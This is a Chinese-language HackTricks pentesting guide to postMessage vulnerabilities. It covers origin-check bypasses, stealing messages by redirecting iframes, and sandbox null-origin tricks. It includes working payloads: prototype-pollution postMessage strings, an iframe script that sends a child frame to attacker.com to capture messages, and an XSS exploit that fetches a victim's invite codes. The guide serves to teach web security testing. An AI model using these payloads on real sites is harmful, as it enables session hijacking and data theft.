hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

237 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PostMessage漏洞
## PostMessage漏洞
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## 发送**PostMessage**
**PostMessage**使用以下函数发送消息:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
请注意,**targetOrigin** 可以是 '\*' 或 URL_https://company.com._\
在**第二种情况**中,**消息只能发送到该域**(即使窗口对象的来源不同)。\
如果使用**通配符****消息可以发送到任何域**,并将发送到窗口对象的来源。
### 攻击 iframe 和 **targetOrigin** 中的通配符
正如[**此报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)所解释的,如果您找到一个可以被**iframed**(没有 `X-Frame-Header` 保护)且通过**postMessage**发送**敏感**消息的页面,且使用**通配符**\*),您可以**修改** **iframe** 的**来源**并将**敏感**消息**泄漏**到您控制的域。\
请注意,如果页面可以被 iframed 但**targetOrigin**设置为 URL 而不是通配符,则此**技巧将无效**。
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## addEventListener 漏洞利用
**`addEventListener`** 是 JS 使用的函数,用于声明期望接收 `postMessages` 的函数。\
将使用类似以下代码的代码:
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
```
### 枚举
为了在当前页面中找到事件监听器,您可以:
- **搜索**JS代码中的`window.addEventListener`和`$(window).on`_JQuery版本_
- 在开发者工具控制台中**执行**`getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
- 转到浏览器的开发者工具中的_元素 --> 事件监听器_
![](<../../.gitbook/assets/image (617).png>)
- 使用类似[**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)或[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)的**浏览器扩展**。这些浏览器扩展将**拦截所有消息**并显示给您。
### 源检查绕过
- **`event.isTrusted`**属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回`True`。尽管如果实施正确,很难绕过,但它在安全检查中的重要性值得注意。
- 在PostMessage事件中使用**`indexOf()`**进行源验证可能会容易受到绕过。一个说明此漏洞的示例是:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- `String.prototype.search()`中的**`search()`**方法用于正则表达式,而不是字符串。传递除正则表达式之外的任何内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)充当通配符,允许使用特别设计的域绕过验证。例如:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- 与`search()`类似,**`match()`**函数处理正则表达式。如果正则表达式结构不正确,可能容易受到绕过攻击。
- **`escapeHtml`**函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象,而是覆盖现有对象的属性。这种行为可能会被利用。特别是,如果可以操纵对象以使其受控属性不承认`hasOwnProperty`,则`escapeHtml`不会按预期执行。以下示例演示了这一点:
- 预期失败:
```javascript
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
```
- 绕过转义:
```javascript
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
在此漏洞的背景下,`File`对象由于其只读的`name`属性而容易受到利用。当在模板中使用此属性时,它不会被`escapeHtml`函数清理,从而导致潜在的安全风险。
- JavaScript中的`document.domain`属性可以由脚本设置为缩短域名,从而在同一父域内更轻松地执行同源策略。
### e.origin == window.origin绕过
在使用%%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%嵌入受沙盒保护的iframe中的网页时了解iframe的源将设置为`null`至关重要。这在处理**沙盒属性**及其对安全性和功能的影响时尤为重要。
通过在沙盒属性中指定**`allow-popups`**从iframe内部打开的任何弹出窗口都会继承其父级的沙盒限制。这意味着除非还包括**`allow-popups-to-escape-sandbox`**属性,否则弹出窗口的源也会被设置为`null`与iframe的源相匹配。
因此在这些条件下打开弹出窗口并从iframe发送消息到弹出窗口时发送和接收端的源都设置为`null`。这种情况导致**`e.origin == window.origin`**评估为true`null == null`因为iframe和弹出窗口共享`null`的相同源值。
有关更多信息,请阅读:
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### 绕过e.source
可以检查消息是否来自脚本正在监听的同一窗口(对于**浏览器扩展的内容脚本**特别有趣,以检查消息是否来自同一页面):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
return;
}
```
您可以通过创建一个**iframe**发送**postMessage**并**立即删除**它,强制消息的**`e.source`**为null。
要了解更多信息,请阅读:
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### X-Frame-Header绕过
为了执行这些攻击,理想情况下您可以将受害者网页放在一个`iframe`中。但是一些头部字段,如`X-Frame-Header`可能会**阻止**这种**行为**。\
在这种情况下您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到受影响的Web应用程序并与其通信
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### 通过阻止主页面窃取发送给子页面的消息
在以下页面中,您可以看到如何通过在发送数据之前**阻止主页面**并利用**子iframe**中的**XSS**来**窃取敏感的postmessage数据**,在数据被接收之前**泄露数据**
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### 通过修改iframe位置窃取消息
如果您可以嵌入一个没有X-Frame-Header的包含另一个iframe的网页您可以**更改该子iframe的位置**,因此,如果它正在接收使用**通配符**发送的**postmessage**攻击者可以将该iframe的**来源**更改为由他控制的页面,并**窃取消息**
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage到Prototype Pollution和/或XSS
在通过`postMessage`发送的数据由JS执行的情况下您可以**嵌入**该**页面**并利用**原型污染/XSS**通过`postMessage`发送利用程序。
可以在[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)中找到一些**非常好解释的通过`postMessage`的XSS**示例。
通过`postMessage`滥用**原型污染然后XSS**到一个`iframe`的利用示例:
```html
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
**更多信息**
* 链接到有关[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
* 链接到有关[**XSS**](../xss-cross-site-scripting/)的页面
* 链接到有关[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
## 参考资料
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>